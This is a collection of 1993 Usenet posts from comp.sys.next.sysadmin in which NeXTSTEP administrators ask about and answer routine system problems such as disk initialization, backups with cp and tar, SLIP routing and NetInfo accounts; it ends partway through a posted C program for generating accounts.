Newsgroups: comp.sys.next.sysadmin From: andrew@cubetech.com (Andrew Loewenstern) Subject: Re: swapfile keeps growing . . . Message-ID: <1993Jan28.160507.17743@cubetech.com> Organization: Cube Technologies, Inc. References: <1993Jan27.154600.11256@mattcube> Date: Thu, 28 Jan 1993 16:05:07 GMT In article <1993Jan27.154600.11256@mattcube> matt%mattcube@concert.net writes: >I know that this has been asked before, but how to fix a swapfile under >3.0 that keeps growing and growing . . . ? > >This same machine did not have this problem under 2.2 > >(Turbo Cube 400/32 - Monochrome). Use less memory. andrew -- andrew@cubetech.com | "We cannot dwell in the time that is to come, Andrew Loewenstern | lest we lose our now for a phantom of our Cube Technologies, Inc. | own design." - Erendis FYEO Public Key: 0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
Control: cancel <C1Jzuo.M0I@ux1.cso.uiuc.edu> Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: cancel <C1Jzuo.M0I@ux1.cso.uiuc.edu> Message-ID: <C1Ko91.BKF@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana Date: Thu, 28 Jan 1993 16:24:23 GMT cancel <C1Jzuo.M0I@ux1.cso.uiuc.edu> in newsgroup comp.sys.next.sysadmin -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: lfahnoe@kegworks.mn.org (Larry Fahnoe) Subject: Re: NeXTstation to DEC MicroVAX connectivity Message-ID: <1993Jan28.121721.10508@kegworks.mn.org> Organization: The Kegworks, Minneapolis, Minnesota References: <1k48gaINN51e@darkstar.UCSC.EDU> Date: Thu, 28 Jan 1993 12:17:21 GMT In article <1k48gaINN51e@darkstar.UCSC.EDU> isbell@cats.ucsc.edu (Art Isbell) writes: > 1. Connect the NeXTstation to the DECserver via a serial line. If this is > possible, how does one direct Terminal to connect to that serial port? > Is any additional harware or software required on either end (other than > a serial cable :-) You still need to use something like tip or (better yet) kermit to get from the Terminal to the serial port. This is probably the cheapest method though. > 2. Make the NeXTstation an ethernet node and use telnet or rlogin to > establish a MicroVAX login session. In my distant foggy past, I seem to > recall using telnet to login to a VAX, so I assume that telnet and > possible the "r" utilities (rlogin, rsh, rcp, etc.) are available for a > MicroVAX. What additional hardware/software would be required? Since the MicroVAX already has an ethernet controller, you would need to install IP on the VAX. Digital has The VMS/Ultrix Connection (aka UCX, and TCP/IP Services for VMS) which will do the trick. TGV has MultiNet which is the most functional (IMHO) implementation of IP on VMS. Process Software has TCPware which is a fast implementation of IP, and it may be somewhat cheaper than MultiNet. There are a few other IPs for VMS, but these are the ones that I've worked with. For further info, ask the question in comp.os.vms. > 3. (Fill in your favorite suggestion here.) Investigate putting DECnet on the NeXT. Thursby Software is close to having a release available (actually, it has been running for some time, they are just looking for market interest before they bother putting the time into the final-testing/manuals/packaging). I think there is another vendor that supports DECnet on UNIX, but I don't recall the name, and do not know if they support the NeXT. --Larry -- Larry Fahnoe Cellular One 612/832-7616 7900 S. Xerxes Ave, Suite 301 lfahnoe@kegworks.mn.org Minneapolis, MN 55431
Newsgroups: comp.sys.next.sysadmin From: sam@chpc.utexas.edu (Samuel R. Oliveira) Subject: cannot mount root. In Brazil Message-ID: <1993Jan28.205715.8413@chpc.utexas.edu> Summary: Need Help to boot Keywords: panic Organization: The University of Texas System - CHPC Date: Thu, 28 Jan 93 20:57:15 GMT I have a NeXTStation here in Brazil for about a year now. I never had any seriuous problem. Last week one of the users tried to read a floppy disk in a MacIntosh format. He said the panic window appeared, and turned off the machine. When I tried to boot the NeXT this is what I got: init arg: -sx . . NeXT Mach 2.1: ... FPU version 0x40 physical memory= 8.00 MB available memory = 7.03 MB ... ... dsp0 at 0x2100000 np0 at ... sound at ... root on sd0 master cpu at slot 0 Target 1: MEDIA ERROR; block 241H retry 1... 9 sd0 (1,0):sense key:0x3 additional sense code:0x11 SCSI Block in error = 577 ; Partition a F.S. sector 128 panic: (Cpu 0) vfs_mountroot: cannot mount root .. .. panic > Can anyone there help me out???? Please reply to samolive@brunb.bitnet (prefered) or sam@hermes.chpc.utexas.edu It is really hard to read news from the southern hemisphere, so please e-mail me any hint. Thanks so much Samuel R. Oliveira Brazilian NUGts -- Samuel R. Oliveira |Center for Relativity |(sam@einstein.ph.utexas.edu) relativity| |RLM 9.216 Mail Code # 61606|(OLIVEIRA@UTAPHY.BITNET) physics | |Department of Physics |(fusion::oliveira) plasma |
Newsgroups: comp.sys.next.sysadmin From: gcolello@biosphere.Stanford.EDU (Greg Colello) Subject: Setuid Permission Not Copied By FileViewer? Message-ID: <1993Jan28.210939.6314@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Thu, 28 Jan 93 21:09:39 GMT I'm probably the only one in the Next sys admin world who didn't know this, but I found out the hard way that the FileViewer apparently strips the setuid permission when copying files even though it retains all other parts of the permissions matrix. The "hard way" I mentioned involved an attempt to restore /NextApps and /NextAdmin from the NS3.0 CDROM using the FileViewer (while logged onto root). Everything was copied exactly except the setuid permissions (there are 11 such files in /NextApps and /NextAdmin). This "stripping of setuid" occurs even if you copy a file from one part of your own account to another part. Ok. Now I know. I should have used cp -rp to restore the directories. Too bad. I've gotten real fond of using the GUI to do "Unix stuff". Is there any way to make the FileViewer copy the setuid permissions faithfully (like a dwrite or something)? I checked as much documentation as I could and found no mention of this. ----------------------------------------------------------------- Greg Colello Carnegie Institution, Department of Plant Biology Stanford University gcolello@biosphere.stanford.edu (NeXT mail OK)
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: 3.0 Upgrades Date: 28 Jan 1993 19:00:26 GMT Organization: University of Houston Message-ID: <1k9agaINNofi@menudo.uh.edu> References: <cfNjch200YUn0=N29f@andrew.cmu.edu> In article <cfNjch200YUn0=N29f@andrew.cmu.edu> writes: #Given a large netinfo network, is there any reason to upgrade all the #netinfo client machines to NeXTStep 3.0 before the netinfo server is #upgraded? We'd like to upgrade our netinfo server to 3.0, but have #heard that for certain reasons this might not be a good idea. # #Anyone know what these reasons are? # #Thanks We upgraded out servers (two of them) to NS3.0 before our clients. This seemed logical and worked without a hitch.... -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: ajones@oxy.edu (A. Lee Jones) Subject: need help indexing unix manual pages Message-ID: <1993Jan28.224805.15342@cheshire.oxy.edu> Keywords: indexing manual Sender: usenet@cheshire.oxy.edu (System Account) Organization: Occidental College, Los Angeles, CA. USA Date: Thu, 28 Jan 1993 22:48:05 GMT i have a small problem. through a quirk [i.e., a crash], the manual pages on the small network of NeXTs which i administrate have become faultily indexed. i would like to return the .index's to their former state (the one in which the Digital Librarian understands how to build man pages, if necessary, and knows that the man directories are arranged hierarchically, etc. i have been completely unable to get it to be in this condition. when i attempt to rebuild (manually, using ixBuild, etc.; or automatically, from Librarian) these indices, two things always happen: the nroff/troff files are analyzed as they are (in pre-nroff text format) and the files are indexed beginning at the /usr/man level. (i.e., all of the files show as cat1/csh, or man1/trn, for example.) can anyone help me with this? i am quite frustrated and have been unable to piece together how to do this from the documentation (man pages and NeXT manuals) available to me. email is fine (maybe even preferred, given the volume on this group). -- lee. ----------------------------- a. lee jones ajones@oxy.edu -----------------------------
Newsgroups: comp.sys.next.sysadmin From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Subject: Using NeXT's and VAX/VMS systems Message-ID: <z7r3cdb@rpi.edu> Date: Thu, 28 Jan 1993 20:52:34 GMT A local user is thinking of buying some NeXT's to augment the work they already do on some Vax's running VMS. Most of the data they have is currently on the VMS systems, and he was wondering how easy it is for NeXT's and VMS systems to share data. Does VMS support NFS, for instance? Are the line-ending characters the same in VMS as they are in Unix/NeXT land? He asked me, and since I have never worked with a VMS system I figured I'd ask the net. For anyone who is using NeXT's with VMS systems, how well do they work together? I'd appreciate hearing from anyone who has done this already. Either reply to me (email) or just follow-up. I'll summarize what email messages I receive. Thanks. -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
Newsgroups: comp.sys.next.sysadmin From: yf5990@u.cc.utah.edu (Yan Fang/Humanities) Subject: News just ain't workin'.... Message-ID: <1993Jan29.024306.27772@fcom.cc.utah.edu> Sender: news@fcom.cc.utah.edu Organization: University of Utah Computer Center Student Mail Machine Distribution: usa Date: Fri, 29 Jan 93 02:43:06 GMT I need some help with my misbehaving news installation. My NeXTstation Color running Rel3 won't work properly with the CNews.pkg installation found in sonata's /pub/next/patches. I open the package, follow the instructions to the letter, and when news transfers from the feeding site, it immediately returns a mail message to that site sent to its news daemon. I own Managing UUCP and Usenet, and found no helpful hints to troubleshoot news when it's already up and running. I've checked the obvious things like permissions and found nothing. But perhaps this is pertinent. I did find this mail message tucked away in /usr/spool/uucp: From uucp remote from magnusson received by magnusson (NX5.67c/NX3.0M) if AA00257; Thu 28 Jan 93 From: <magnusson!uucp> To: doberman!news Subject: uuxqt cmd (rnews) status (signal 0, exit 1) If anyone wants to sink a little precious free time into helping me read news from my nice NewsGrazer UI instead of rn, I would greatly appreciate it. Just reply to this message. It'll bounce to my machine at home. Kris Magnusson Alpine Computing/MicroAge Sales Engineer -- Yan Fang-Magnusson Ph.D. candidate, philosophy, University of Utah yf5990@u.cc.utah.edu yanfang@cc.utah.edu (NeXTmail)
Newsgroups: comp.sys.next.sysadmin From: gcolello@biosphere.Stanford.EDU (Greg Colello) Subject: How do I prevent cp from traversing links? Message-ID: <1993Jan29.031726.19345@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Fri, 29 Jan 93 03:17:26 GMT The title says it all. Is there any undocumented option or alternate version of cp that simply copies a link file "as is" instead of copying what it's linked to? I like to use "cp -rp" to backup our file system onto optical disks. It's convenient for easy restores of small numbers of files. Obviously I don't end up with an exact image due to the "copy through link" functionality. ----------------------------------------------------------------- Greg Colello Carnegie Institution, Department of Plant Biology Stanford University gcolello@biosphere.stanford.edu (NeXT mail OK)
From: hogan@jasper (Kharim Hogan) Newsgroups: comp.sys.next.sysadmin Subject: Anyone ever seen such a thing??? Message-ID: <1993Jan29.023718.16245@thunder.mcrcim.mcgill.edu> Date: 29 Jan 93 02:37:18 GMT Sender: news@thunder.mcrcim.mcgill.edu Organization: Los Alamos National Laboratory, NM Hi, Well I'm baffled and am wondering if anyone has ever had a similar experience to the one I am about to describe. Three weeks ago our server suddenly went down. It just powered itself off in the middle of the night. Now this machine (25 MHz 040 NeXTstation) sits on a UPS and since there were no messages out of the ordinary (i.e. no panic, no special messages dumped), I assumed that there may have been a power failure that outlasted the UPS. (Since I was away at the time, someone else was there to reboot the system and everything was fine until I returned). Noone ever really took notes so I don't know more about the details then. BUT last week, the same thing happened again. This time I was there so checked all possibilities. Ruled out power failure, power transfer, system panics, breaker overload etc. There was absolutely no clue as to the cause of this. The system doesn't panic, it's as if someone had walked in and powered down the machine. (Point to note that only two people have access to that room and neither was there at the time). So I reboot the system and all is fine until the next night when this happens again. In short this happened three nights in a row and the weird thing other than the obvious mystery is the times at which this happens. First night 06:00:13 Second night 04:00:12 Third night 05:00:13 So one would deduce that this just might take place again the following night at say...03:00:12 right? ;-) Anyway, other than the fact that the whole episode was getting somewhat tiresome, it was time to change something but what? So I started by unplugging the machine from the UPS and plugging it directly into the wall. Since then (4 days now) the server seems happy. No unusual shutdowns but who knows whether this was the problem or just coincidence! One thing to note is that the monitor on that machine is starting to dim and become fuzzy. Could this be related? Has anyone ever seen this before or have any idea what causes this sort of behaviour? I'm still not sure whether this problem is over or not. Can anyone help? BTW, there are also 2-1.2Gb disks plugged into the UPS. Any clues? Thanks, Kharim PS: While I'm at it, anyone know of another or better or different version of 'rusers' out there than the one that comes with the system. This ones getting to be a real drag. Thanks. -- ************************************************************************* Kharim M. Hogan Systems Administrator hogan@music.mcgill.ca Faculty of Music, McGill University *************************************************************************
Newsgroups: comp.sys.next.sysadmin From: gcolello@biosphere.Stanford.EDU (Greg Colello) Subject: How do I initialize an OD mounted with "mount"? Message-ID: <1993Jan29.034304.20044@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Fri, 29 Jan 93 03:43:04 GMT The title says it all. Almost. I like to backup my file system in sections onto a dedicated set of opticals disks (OD). Before copying a section of the file system I simply initialize the optical using the Workspace/Disk/Initialize option. Then eject the OD. Then I mount the OD in such a way that I can log off and it stays mounted (as well as preserving the owner field): mount /dev/od0a /OpticalDisk Then I perform a "cp -rp" on a series of subdirectories stored in a list. OK. Now I want to automate the whole process and have it run in the background. So I created a script to do just that. No sweat. But I want that OD initialization step to be done in the background too. PROBLEM: The apparently correct command to initialize an OD is: disk -h myhost -l OpticalDisk -i /dev/rod0a But this causes an error message something like: "can't initialize a mounted disk". Well I can't say the disk man page didn't warn me: "WARNING: Don't initialize a mounted device." Ok. Fine. So how AM I supposed to do it? BTW the way I got onto disk was because I use it to eject the OD: umount /dev/od0a disk -e /dev/rod0a Right out of Next Answers '93 QA671. This DOES work. ----------------------------------------------------------------- Greg Colello Carnegie Institution, Department of Plant Biology Stanford University gcolello@biosphere.stanford.edu (NeXT mail OK)
From: maurices@spock.dis.cccd.edu (Maurice Shihadi) Newsgroups: comp.sys.next.sysadmin Subject: Rumer: NS 3.1 is weeks away from release? Is this true? Y N Date: 28 Jan 1993 20:50:12 -0800 Organization: Coast Community College District, Costa Mesa, CA Distribution: world Message-ID: <1kad24INNde2@spock.dis.cccd.edu> I'm anxiously awaiting so................... maurices
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: How do I prevent cp from traversing links? Message-ID: <C1LrtJ.FMy@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <1993Jan29.031726.19345@leland.Stanford.EDU> Date: Fri, 29 Jan 1993 06:39:04 GMT gcolello@biosphere.Stanford.EDU (Greg Colello) writes: >The title says it all. Is there any undocumented option or alternate >version of cp that simply copies a link file "as is" instead of copying >what it's linked to? I'd recommend using gnutar instead of cp. It will preserve links. You can also pipe its output to zcat (or gzip if you're adventurous and up to date on the GNU utilities) so that your data is compressed on the OD's. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: s5umcg@fnma.COM (Marty Gryski) Subject: Formatting a Sun 669 MICROPOLIS Message-ID: <1993Jan27.205646.25161@almserv.uucp> Sender: usenet@almserv.uucp Organization: Fannie Mae Date: Wed, 27 Jan 1993 20:56:46 GMT I have a Sun 669 micropolis drive. I am trying to connect it to my next with NextStep 3.0. The system recognizes the disk, but will not initialize it. I get a number of "sd1: Incomplete disk transfer:" errors. The same disk checks out fine on my sun. I even formatted the disk on the next with no problems, but I receive error messages when attempting to init the disk. Can anyone suggest what I am doing wrong????? --- Marty Gryski (202)752-3579 gryski@fnma.com
Newsgroups: comp.sys.next.sysadmin From: beatty@sqhilton.pc.cs.cmu.edu (Derek Beatty) Subject: Re: SLIP IS UP, BUT... Message-ID: <C1LEq9.B0D.2@cs.cmu.edu> Summary: arp -s host pub;rote add rem loc 0 Originator: beatty@sqhilton.pc.cs.cmu.edu Sender: news@cs.cmu.edu (Usenet News System) Organization: School of Computer Science, Carnegie Mellon References: <ANDERSON.93Jan28092525@sapir.cog.jhu.edu> Date: Fri, 29 Jan 1993 01:56:32 GMT In article <ANDERSON.93Jan28092525@sapir.cog.jhu.edu> anderson@sapir.cog.jhu.edu (Stephen Anderson) writes: > I don't know of a ready resource for > what to do if you have to setup the server too. RTFM? :-) man arp; man route; man ifconfig That's fine if you know what you're looking for, but TFM can sometimes be a bit obtuse. Here's what I think you need to do. (I don't know beans about networking, and I haven't done this, but, should my post contain an error, perhaps some more knowledgable usenet reader might gently point it out.) First, the office machine needs to tell the other machines on its ethernet that packets of data destined for the home machine should be sent on the ethernet to the office machine. Second, the office machine needs to know that when it gets packets intended for the home machine, it should send them to the home machine. Let my:ether:net:ad:dr:ess denote the office machine's ethernet address. ip.of.home.machine is the IP address of the home machine and ip.of.office.machine is the IP address of the office machine (!) If the office and home machines have been assigned IP addresses on the same subnet (and I can't think of why they wouldn't have been so assigned), you should be able to do this by adding a couple of lines to /etc/rc.local on the office machine: /usr/etc/arp -s ipaddr.of.home.machine my:ether:net:ad:dr:ess pub /usr/etc/route add host ip.of.home.machine ipof.my.slip.interface 1 You might also need something like this first, to tell the office machine that the slip interface is alive. (But I presume that if you can ping the office machine from the home machine, you don't need this.) /etc/ifconfig slip0 ipof.my.slip.interface ip.of.home.machine up If this doesn't work, it might "attract sufficient attention that someone will stop by to help you fix it :-)" Also, if you can ping the office machine, you should be able to telnet to it, log in as root, and try these commands "by hand" before putting them in /etc/rc.local, to make sure that they're really what you need. -- Derek_Beatty@cmu.edu ABD Comp Sci, CMU, 5000 Forbes, Pgh, PA 15213 USA
From: lan@next.ipt.rwth-aachen.de (Michael Lang) Newsgroups: comp.sys.next.sysadmin Subject: editing etc/disktab manually for mounting an optical disk Date: 29 Jan 1993 09:27:07 GMT Organization: Rechnerbetrieb Informatik - RWTH Aachen Message-ID: <1kat9bINNhpv@urmel.informatik.rwth-aachen.de> Keywords: optical disk Dear comp.sys.next 'ers, I ve a problem with my optical disk from Ricoh (ROD 5030E2). There exist two kinds of disk-media for this drive. The difference between this to medias is the size of the sectors (512bytes/sec 1024bytes/sec). If an optical is inserted next recognizes and formats it but it reserves to less inodes for it. When I change the /etc/disktab entry manually I can get enough inodes for the 1024byte/sec media. I don t know how to change the disktab entrys for the 512byte/sec media. Many items in the disktab are powers of 1024 (default sector size). Do I have to multiply those items whith 2? Do anyone know what to do in such a case? Thanks in advance. lan@next.ipt.rwth-aachen.de
From: wainner@rest.tasc.com. (Scott Wainner) Newsgroups: comp.sys.next.sysadmin,comp.sys.sun.admin Subject: Sun NIS client won't resolve DNS from Netinfo Date: 28 Jan 1993 22:27:23 GMT Organization: TASC Distribution: world Message-ID: <1k9mkbINNd5m@sun.rest.tasc.com> Keywords: Netinfo, NIS, YP, DNS Netters, I configured our NeXT Netinfo server to also serve NIS clients on our network. I set up a Sun as an NIS client. The setup was clean and logins, mounts, etc were successful. BUT, the Sun won't resolve FQDNs now. I've got a resolv.conf in the Sun that refers to the DNS server (a NeXT) which works correctly with 'nslookup'. I know that Sun's are shipped with the "broken" libraries but the documentation indicates that Sun's running NIS will use FQDN's if the Makefile is setup to use the B=-b option. Looking at the Makefile on the NeXT, there is no B option. So I added B=-b. Nope - that's not it! So I added a + at the end of the /etc/hosts file that the yp/Makefile uses. Bzzzt - wrong, try again! Now what. I really don't want to "fix" the Sun's with the custom shared libraries that use DNS without NIS. Any ideas any body? --
Scott Wainner Internet: swainner@tasc.com The Analytic Sciences Corp wainner@hq.af.mil 12100 Sunset Hills Road Reston, Virginia 22091 Phone: (703) 834-5000
Newsgroups: comp.sys.next.sysadmin From: zettler@opal.risc.uni-linz.ac.at (Peter Zettler) Subject: several subdomains Message-ID: <1993Jan29.095112.18458@alijku05.edvz.uni-linz.ac.at> Keywords: Netinfo Management Sender: news@alijku05.edvz.uni-linz.ac.at Organization: UNI-LINZ Date: Fri, 29 Jan 1993 09:51:12 GMT Hi Next gurus, We want to use a NeXT station in another subnet. Does anyone know: (i) Is it necessary to set up a three level netinfo domain for doing this. (ii) If no, how do we have to set up the NeXT working together with the Netinfo server in a different subnet? (iii) If yes, is there any other description of making a three-level domain out of a two-level domain than the one of NeXT Inc.? We already did but we failed due to a loop inside the database. Thanks in advance. PZ
From: pat%expovision@cam.org (Patrique Lalonde) Newsgroups: comp.sys.next.sysadmin Subject: ownership group and permissions on ext HD Message-ID: <1993Jan28.182032.1175@cesar.uucp> Date: 28 Jan 93 18:20:32 GMT Sender: pat@cesar.uucp Hello, I read a while back that there was a way to keep ownership, group and permissions of files and folders on external Hard Disks. Could some kind soul tell me how? Just in case, I have a Quantum 105mb. Thanks in advance. Pat =====NeXT Mail pat%cesar@cam.org
Newsgroups: comp.sys.next.sysadmin From: jay@panasonicfa.com (Jay Peng) Subject: Help on WindowServer Message-ID: <1993Jan29.000658.6271@panasonicfa.com> Keywords: WindowServer Organization: Panasonic Date: Fri, 29 Jan 1993 00:06:58 GMT Hi NeXT gurus, we inherited a NeXT color station, which run version 2.1 and NetInfo. The problem is when it reboot, it always come out error message like following: Next WindowServer: Problem starting the NeXT dimension.psdrvr driver. Continuing. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ and subsequently, there is no login window. Instead it directly login as a user (the user name is "me") and open windows as that user's. In the /etc/ttys file the line relates the console is as follows: Console /usr/lib/NextStep//loginwindow NeXT on secure window=/usr/lib/NextStep/WindowServer onoption="/usr/etc/getty std.9600" Nothing wrong in above. I got the login window just before I changed some permission of directories. But I can't remember what I did as I was interrupted to do something else. As this is inherited, there is no manual, no documents. The worse is that this is my first time touch NeXT station. So any hint is welcome! Please email me! -- ******************************************************************************* ******************************************************************************* * Jay Peng * * * System & Network Staff * Email : jay@panasonicfa.com * * Panasonic Factory Automation * UUCP : ...!psinntp!panasonicfa.com!jay * * Franklin Park, IL 60131 * Tel : (708)288-4549 * ******************************************************************************* ******************************************************************************* --
Newsgroups: comp.sys.next.sysadmin From: woo@ornl.gov (John W. Wooten) Subject: getting a "new" userid # Message-ID: <1993Jan29.145206.25152@ornl.gov> Sender: usenet@ornl.gov (News poster) Organization: Oak Ridge National Laboratory Date: Fri, 29 Jan 1993 14:52:06 GMT I am developing a Registration application for a classroom with 12 NeXT Stations. One of them is the NetInfo Server the other 11 are clients. The attendees see the Registration screen when they first sit down. After filling it out, an account is generated (hopefully a network account) and then they have to log into their new account. 1) How do I get the next free userid number for a network user account? 2) How do I make sure I don't get duplicates? - - - - - - - - - J. W. Wooten
From: louie@sayshell.umd.edu (Louis A. Mamakos) Newsgroups: comp.sys.next.sysadmin Subject: Re: How do I prevent cp from traversing links? Date: 29 Jan 1993 15:17:07 GMT Organization: The University of Maryland, College Park Message-ID: <1kbhpjINN8mf@ni.umd.edu> References: <1993Jan29.031726.19345@leland.Stanford.EDU> In article <1993Jan29.031726.19345@leland.Stanford.EDU> gcolello@biosphere.Stanford.EDU (Greg Colello) writes: >The title says it all. Is there any undocumented option or alternate >version of cp that simply copies a link file "as is" instead of copying >what it's linked to? Do you mean a symbolic link or a hard link? In the case of a hard link, its just another name for the same file. >I like to use "cp -rp" to backup our file system onto optical disks. It's >convenient for easy restores of small numbers of files. Obviously I don't >end up with an exact image due to the "copy through link" functionality. You could use a pipeline of tar into tar; tar keeps track of files where the link count is greater than one and detects subsequent names for the same file. You could try something like: cd /; tar cf - | (cd /ODfs; tar xf -) You could also do much the same thing with dump and restore. You might also look for a new backup product, SafetyNet, that can do "online" backups into a directory on the OD, as well as maintain a database of what files are backed up where. That way, as files change, you don't need to copy all the unchanged files each time. Disks are supposed to start shipping today, and I believe there will be a demo on the archives soon. Disclaimer: I know the author of SafetyNet, and have been testing it and using it for some time now. I have no financial interest in the product, other than when Brian buys the beer when we go out drinking, err.., I mean, have the meeting of the Laurel/Columbia MD NeXT developer's gang. louie
Newsgroups: comp.sys.next.sysadmin Subject: Re: Next NFS server upgrade Message-ID: <MAX.93Jan29091308@Kolmogorov.gac.edu> From: max@Kolmogorov.gac.edu (Max Hailperin) Date: 29 Jan 93 09:13:08 References: <gfNjYKq00YUn0=N1kh@andrew.cmu.edu> <C1K083.Mtr@ux1.cso.uiuc.edu> Organization: Gustavus Adolphus College, St. Peter, MN In-reply-to: lemson@ux1.cso.uiuc.edu's message of Thu, 28 Jan 1993 07:45:25 GMT In article <C1K083.Mtr@ux1.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu (David Lemson) writes: Tod McQuillin <tm8t+@andrew.cmu.edu> writes: [how to know whether upgrading a server will help?] ... ps auxw ... uptime ... netstat ... You are missing one of the most important tools for making a decision like this, iostat. See the man page. It is great for figuring out how cpu and/or disk bound you are, and even which of your disks are getting heavy traffic and which light and which are slow and which fast. Try it. Other things to keep in mind: 1) The turbo boards have improved DMA channel stuff, so the I/O performance may be improved a bit as well as the processing performance. 2) You may be able to improve the performance of the server somewhat by careful choice of how many drives of what kind to attach to it, how they should be partitioned, and what to put in each file system partition. 3) Of course, as you know, there is a limit to what you can do with a single NeXT server; you may be able to do more than what any upgrade to the server would by adding a second server, moving to a non-NeXT server, or putting heavily used stuff on local disks on the individual clients.
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: How do I initialize an OD mounted with "mount"? Date: 29 Jan 1993 16:41:02 GMT Organization: University of Houston Message-ID: <1kbmmuINN8fr@menudo.uh.edu> References: <1993Jan29.034304.20044@leland.Stanford.EDU> In article <1993Jan29.034304.20044@leland.Stanford.EDU> gcolello@biosphere.Stanford.EDU (Greg Colello) writes: #The title says it all. Almost. # #I like to backup my file system in sections onto a dedicated set of #opticals disks (OD). Before copying a section of the file system I simply #initialize the optical using the Workspace/Disk/Initialize option. Then #eject the OD. Then I mount the OD in such a way that I can log off and it #stays mounted (as well as preserving the owner field): # #mount /dev/od0a /OpticalDisk # #Then I perform a "cp -rp" on a series of subdirectories stored in a list. #OK. Now I want to automate the whole process and have it run in the #background. So I created a script to do just that. No sweat. But I want #that OD initialization step to be done in the background too. # #PROBLEM: The apparently correct command to initialize an OD is: # #disk -h myhost -l OpticalDisk -i /dev/rod0a # #But this causes an error message something like: "can't initialize a #mounted disk". Well I can't say the disk man page didn't warn me: #"WARNING: Don't initialize a mounted device." Ok. Fine. So how AM I #supposed to do it? # #BTW the way I got onto disk was because I use it to eject the OD: # #umount /dev/od0a #disk -e /dev/rod0a # #Right out of Next Answers '93 QA671. This DOES work. # #----------------------------------------------------------------- #Greg Colello #Carnegie Institution, Department of Plant Biology #Stanford University #gcolello@biosphere.stanford.edu (NeXT mail OK) Have your script do something like this and run it as root (of course, it assumes that the disk has already been inserted. If not, workspace will ask you to insert the disk): #!/bin/sh disk -h myhost -l OpticalDisk -i /dev/rod0a #initialize the disk mount /dev/od0a /OpticalDisk #mount the disk cp -rp /your/various/directories/go/here #copy files/directories cp -rp ... .. -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: getting a "new" userid # Date: 29 Jan 1993 16:50:53 GMT Organization: University of Houston Message-ID: <1kbn9dINN9jb@menudo.uh.edu> References: <1993Jan29.145206.25152@ornl.gov> In article <1993Jan29.145206.25152@ornl.gov> woo@ornl.gov (John W. Wooten) writes: #I am developing a Registration application for a classroom with 12 NeXT #Stations. One of them is the NetInfo Server the other 11 are clients. #The attendees see the Registration screen when they first sit down. #After filling it out, an account is generated (hopefully a network #account) and then they have to log into their new account. # #1) How do I get the next free userid number for a network user #account? # #2) How do I make sure I don't get duplicates? # # # #- - - - - - - - - #J. W. Wooten We use code, similiar to the following to automatically generate accounts. There are a few sections you should be concerned with: the section that generates a unique username (we base it on last name) and the part that checks to see if the uid is already used. When we run the program, we give it a starting uid, starting gid, and a list of names to add accounts. This code is not pretty and I am not even sure if this version works. It is just an easy way to generate large numbers of accounts, and it servers as an example of creating unique usernames and uids. There is probably a better way and your milage may very...: #include <string.h> #include <ctype.h> #include <fcntl.h> #include <stdio.h> #include <pwd.h> #include <sys/types.h> main(int argc, char *argv[]) { extern int optind; extern char *optarg; char name[80],last[80],first[80],other[80],user[80]; FILE *infile; int uid,gid; int namel,namec,namei,namemax; int i,j; char c; namemax = 7; infile = stdin; uid = -1; gid = -1; while ((c = getopt(argc, argv, "u:g:f:")) != EOF) { switch (c) { case 'u': uid = atoi(optarg); break; case 'g': gid = atoi(optarg); break; case 'f': if ( (infile=fopen(optarg, "r")) == NULL) { fprintf(stdout,"Error opening input file"); exit(0); } } } if (uid == -1 | gid == -1) { fprintf(stderr, "usage: %s -u<start-uid> -g<gid> [-f inputfile]\n", argv[0]); exit(1); } fgets(name,sizeof(name),infile); while (! feof(infile)) { namel = strlen(name); namec = 0; namei = 0; last[0]=0;first[0]=0;other[0]=0; for (i = 0 ; i <= namel ; i++) { switch (namec) { case 0: if ( name[i] == ',' || name[i] == '\n') { namec++; namei = 0; if (name[i+1] == ' ') i++; } else { last[namei++] = name[i]; last[namei]=0; } break; case 1: if ( name[i] == ' ' || name[i] == '\n') { namec++; namei = 0; } else { first[namei++] = name[i]; first[namei]=0; } break; case 2: if ( name[i] == '\n') { other[namei] = 0; namec++; } else { other[namei++] = name[i]; other[namei] = 0; } break; } } namel = strlen(last); if (namel > namemax) namel = namemax; for (i = 0; i <= namel; i++) user[i] = tolower(last[i]); namei = namel; i = 0; /* Here is where we check to see if the 